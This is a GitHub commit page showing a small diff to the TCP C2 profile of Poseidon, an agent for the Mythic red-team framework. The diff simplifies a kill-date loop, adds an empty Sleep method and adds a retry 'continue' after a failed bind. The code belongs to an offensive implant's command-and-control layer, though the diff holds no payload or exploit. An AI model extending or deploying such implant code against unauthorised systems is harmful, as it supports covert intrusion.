Commit 819d6f8 1 parent 49c498a commit 819d6f8 Copy full SHA for 819d6f8
File tree 1 file changed +5
-1
lines changed
Payload_Type/poseidon/poseidon/agent_code/pkg/profiles
1 file changed +5
-1
lines changed Original file line number Diff line number Diff line change @@ -83,13 +83,16 @@ func init() {
83
83
RegisterAvailableC2Profile (& profile )
84
84
}
85
85
func (c * C2PoseidonTCP ) CheckForKillDate () {
86
- for true {
86
+ for {
87
87
time .Sleep (time .Duration (10 ) * time .Second )
88
88
today := time .Now ()
89
89
if today .After (c .Killdate ) {
90
90
os .Exit (1 )
91
91
}
92
92
}
93
+ }
94
+ func (c * C2PoseidonTCP ) Sleep () {
95
+
93
96
}
94
97
func (c * C2PoseidonTCP ) Start () {
95
98
// start listening
@@ -107,6 +110,7 @@ func (c *C2PoseidonTCP) Start() {
107
110
if err != nil {
108
111
utils .PrintDebug (fmt .Sprintf ("Failed to bind: %v\n " , err ))
109
112
time .Sleep (1 * time .Second )
113
+ continue
110
114
}
111
115
utils .PrintDebug (fmt .Sprintf ("Listening on %s\n " , c .Port ))
112
116
if c .ShouldStop {
You can’t perform that action at this time.
0 commit comments